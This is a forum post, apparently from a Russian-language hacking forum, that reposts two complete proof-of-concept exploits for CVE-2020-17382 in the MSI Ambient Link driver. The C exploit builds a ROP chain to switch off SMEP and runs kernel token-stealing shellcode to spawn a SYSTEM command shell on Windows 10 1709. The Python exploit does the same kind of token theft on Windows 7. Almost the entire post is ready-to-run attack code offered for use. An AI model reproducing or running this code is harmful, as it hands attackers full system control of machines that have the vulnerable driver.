• XSS.stack #1 – первый литературный журнал от юзеров форума

Local LPE, Windows MSI Ambient Link driver, CVE-2020-17382

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
C:
#include <iostream>
#include <string>
#include <Windows.h>
#include <Psapi.h>

#pragma warning( disable : 6387 )

VOID eopMsio(HANDLE hFile, INT64 kernel_base, DWORD pid, DWORD IoControlCode) {
          // SHELLCODE FOR 1709
          BYTE token_steal[] =
          "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"      // mov rdx, [gs:188h]       ; Get _ETHREAD pointer from KPCR
          "\x4C\x8B\x82\xB8\x00\x00\x00"              // mov r8, [rdx + b8h]      ; _EPROCESS (kd> u PsGetCurrentProcess)
          "\x4D\x8B\x88\xe8\x02\x00\x00"              // mov r9, [r8 + 2e8h]      ; ActiveProcessLinks list head
          "\x49\x8B\x09"                              // mov rcx, [r9]            ; Follow link to first process in list
          //find_system_proc:
          "\x48\x8B\x51\xF8"                          // mov rdx, [rcx - 8]       ; Offset from ActiveProcessLinks to UniqueProcessId
          "\x48\x83\xFA\x04"                          // cmp rdx, 4               ; Process with ID 4 is System process
          "\x74\x05"                                  // jz found_system          ; Found SYSTEM token
          "\x48\x8B\x09"                              // mov rcx, [rcx]           ; Follow _LIST_ENTRY Flink pointer
          "\xEB\xF1"                                  // jmp find_system_proc     ; Loop
          //found_system:
          "\x48\x8B\x41\x70"                          // mov rax, [rcx + 70h]     ; Offset from ActiveProcessLinks to Token
          "\x24\xF0"                                  // and al, 0f0h             ; Clear low 4 bits of _EX_FAST_REF structure
          //find cmd
          "\x48\x8B\x51\xF8"                          // mov rdx, [rcx-8]         ;ActiveProcessLinks - 8 = UniqueProcessId
          "\x48\x81\xFA\x99\x99\x00\x00"              // cmp rdx, 0d54h           ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
          "\x74\x05"                                  // jz found_cmd             ;YES - move on
          "\x48\x8B\x09"                              // mov rcx, [rcx]           ;NO - next entry in list
          "\xEB\xEE"                                  // jmp find_cmd             ;loop
          // found cmd
          "\x48\x89\x41\x70"                          // mov [rcx+70h], rax       ;copy SYSTEM token over top of this process's token
          "\x48\x31\xc9"                              // xor rcx rcx              ; clear some registers to avoid issues while unwinding the call stack
          "\x48\x31\xc0"                              // xor rax rax
          "\x48\x31\xf6"                              // xor rsi,rsi
          "\x48\x31\xff"                              // xor rdi, rdi
          "\x4D\x31\xC0"                              // xor r8, r8
          "\x48\xc7\xc1\xf8\x06\x15\x00"              // mov rcx, 0x1506f8        ; move original cr4 value into rcx
          "\xc3";                                     // ret                      ; RET

    token_steal[54] = pid;
    token_steal[55] = pid >> 8;

    LPVOID allocated_shellcode = VirtualAlloc(NULL,
        sizeof(token_steal),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    memcpy(allocated_shellcode, token_steal, sizeof(token_steal));

    INT64 pop_rcx_offset = kernel_base + 0x15fc70;            // gadget 1 1709 - pop rcx ; ret
    INT64 mov_cr4_offset = kernel_base + 0x76a02;             // gadget 2 1709 - mov cr4, ecx ; ret
    INT64 wbindv_offset = kernel_base + 0x1175c0;;            // gadget 3 1709 - wbinvd; ret
    INT64 rcx_value = 0x506f8;                                // value we want placed in cr4 in order to disable SMEP
    INT64 rcx_old_value = 0x1506f8;                           // original cr4 value       
    INT64 ret = pop_rcx_offset + 1;                           // RET NOP

    puts("[+] SMEP disabled");
  
    BYTE  input_buff[136] = { 0 };
    memset(input_buff, '\x41', 64);
    memset(input_buff, '\x42', 8);                            // dummy RBP
    memcpy(input_buff + 72, (PINT64)&pop_rcx_offset, 8);      // pop rcx
    memcpy(input_buff + 80, (PINT64)&rcx_value, 8);           // disable SMEP value
    memcpy(input_buff + 88, (PINT64)&mov_cr4_offset, 8);      // mov cr4, rcx
    memcpy(input_buff + 96, (PINT64)&wbindv_offset, 8);       // wbinvd; ret
    memcpy(input_buff + 104, (PINT64)&allocated_shellcode, 8);// shellcode
    memcpy(input_buff + 112, (PINT64)&mov_cr4_offset, 8);     // mov cr4, rcx
    memcpy(input_buff + 120, (PINT64)&ret, 8);                // RETNOP to restore the stack
    memcpy(input_buff + 128, (PINT64)&ret, 8);                // RETNOP to restore the stack

    printf("[+] Payload buffer located at: 0x%p\n", &allocated_shellcode);

    DWORD lpBytesReturned = 0x0;
    BOOL triggerIOCTL = DeviceIoControl(hFile,
        IoControlCode,
        input_buff,
        sizeof(input_buff),
        NULL,
        0,
        &lpBytesReturned,
        NULL);

    if (!triggerIOCTL) {
        printf("[!] DeviceIoControl failed: %d\n", GetLastError());
    }
    else {
        puts("[+] SMEP re-enabled");
        puts("[+] Enjoy your SYSTEM shell\n");
    }

    system("start cmd.exe");
}

LPVOID GetBaseAddr(const char* drvname) {
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
        char szDrivers[1024];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++) {
            if (GetDeviceDriverBaseNameA(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
                if (strcmp(szDrivers, drvname) == 0) {
                    return drivers[i];
                }
            }
        }
    }
    return 0;
}

HANDLE GetDriverHandle() {
    HANDLE hMsio;

    hMsio = CreateFileA("\\\\.\\MsIo",
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hMsio == INVALID_HANDLE_VALUE) {
        printf("[-] Error obtaining an handle to the driver: %d\n", GetLastError());
        exit(1);
    }

    return hMsio;
}

int main() {
    puts("[*] CVE-2020-17382 - Win10 1709 - PoC by Matteo 'uf0' Malvica");
    DWORD IoControlCode = 0x80102040;
    HANDLE hDevice = GetDriverHandle();
    INT64 nt = (INT64)GetBaseAddr("ntoskrnl.exe");
    DWORD pid = GetCurrentProcessId();

    eopMsio(hDevice, nt, pid, IoControlCode);

    return 0;
}

Python:
#!/usr/bin/python
# MSI Ambient Link Driver - Kernel Stack-based Buffer Overflow
# Reference: https://www.coresecurity.com/core-labs/advisories/msi-ambient-link-multiple-vulnerabilities
# CVE-2020-17382
# Matteo Malvica - 28/09/2020
# www.matteomalvica.com
# Tested on Win7 x64 SP1

from ctypes import *
import time, struct, sys, thread, os

kernel32 = windll.kernel32
Psapi    = windll.Psapi
  
if __name__ == '__main__':

    if len(sys.argv) < 2:
        print("\n(!) ERROR:\t - missing argument -\n"+"-"*10)
        print("(*) USAGE:\t 'python %s <TARGET PID>" % sys.argv[0])
        print("(*) EXAMPLE:\t 'python %s 1984'\n"% sys.argv[0])
        sys.exit()
    else:
        target_pid = int(sys.argv[1])

    print("(*) MSI Ambient Link Stack-based Buffer Overflow")
    GENERIC_READ  = (1 << 30)
    GENERIC_WRITE = (1 << 31)
    FILE_SHARE_READ = 1
    FILE_SHARE_WRITE = 2
    OPEN_EXISTING = 3
    FILE_ATTRIBUTE_NORMAL = 0x80
    IOCTL_VULN    = 0x80102040 # triggers BoF

    # DosDevices\MSIO64 Device\MsIo
    DEVICE_NAME   = "\\\\.\\MsIo".encode()
    dwReturn      = c_ulong()
    out_size      = 0x48
    evil_output   = ""
    #driver_name   = 'MSIO64.sys'

    target_pid = struct.pack("<H",int(target_pid))

    # token stealing shellcode
    shellcode = bytearray(
    "\x65\x48\x8B\x14\x25\x88\x01\x00"
    "\x00\x4C\x8B\x42\x70\x4D\x8B\x88"
    "\x88\x01\x00\x00\x49\x8B\x09\x48"
    "\x8B\x51\xF8\x48\x83\xFA\x04\x74"
    "\x05\x48\x8B\x09\xEB\xF1\x48\x8B"
    "\x81\x80\x00\x00\x00\x24\xF0\x48"
    "\x8B\x51\xF8\x48\x81\xFA"+ target_pid+
    "\x00\x00\x74\x05\x48\x8B\x09\xEB"
    "\xEE\x48\x89\x81\x80\x00\x00\x00"
    "\x90\x90\xEB\xFE")

    '''
    [BITS 64]

    ; Windows 7 x64 token stealing shellcode
    ; based on http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation

    start:
        mov rdx, [gs:188h]   ;KTHREAD pointer
        mov r8, [rdx+70h]    ;EPROCESS pointer
        mov r9, [r8+188h]    ;ActiveProcessLinks list head
        mov rcx, [r9]        ;follow link to first process in list
    find_system:
        mov rdx, [rcx-8]     ;ActiveProcessLinks - 8 = UniqueProcessId
        cmp rdx, 4           ;UniqueProcessId == 4?
        jz found_system      ;YES - move on
        mov rcx, [rcx]       ;NO - load next entry in list
        jmp find_system      ;loop
    found_system:
        mov rax, [rcx+80h]   ;offset to token
        and al, 0f0h         ;clear low 4 bits of _EX_FAST_REF structure
    find_cmd:
        mov rdx, [rcx-8]     ;ActiveProcessLinks - 8 = UniqueProcessId
        cmp rdx, 0d54h       ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
        jz found_cmd         ;YES - move on
        mov rcx, [rcx]       ;NO - next entry in list
        jmp find_cmd         ;loop
    found_cmd:
        mov [rcx+80h], rax   ;copy SYSTEM token over top of this process's token
    return:
        nop                  ; will be manually patched to 0xEBFE (jmp short 0)
    '''

    print("[*] Allocating shellcode character array...")
    usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
    ptr = addressof(usermode_addr)

    print("[*] Marking shellcode RWX...")
  
    result = kernel32.VirtualProtect(
        usermode_addr,
        c_int(len(shellcode)),
        c_int(0x40),
        byref(c_ulong())
    )

    if result != 0:
        print("[*] Successfully marked shellcode RWX.")
    else:
        print("[!] Failed to mark shellcode RWX.")
        sys.exit(1)


    payload = struct.pack("<Q",ptr)

    pointer =  ":".join("{:02x}".format(ord(c)) for c in payload)
    print("[*] Shellcode pointer is at: 00000000'%s." % ptr)
    buf = "A" * 0x48 + payload
    buf_length = len(buf)


    driver_handle = kernel32.CreateFileA(DEVICE_NAME, 
        0xC0000000,
        0,
        None,
        0x3,
        0,
        None)

    if driver_handle != -1:
        # We store values to overcome input checks
        print("(+) We got handle! Sending vulnerable IOCTL...")
        dev_ioctl = kernel32.DeviceIoControl(
        driver_handle,
        IOCTL_VULN,
        buf,
        buf_length,
        None,
        0,
        byref(c_ulong()),
        None
    )
    else:
        print("(!) Couldn't get a driver handle!")



Источник:
https://github.com/uf0o/CVE-2020-17382

Инфа:
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх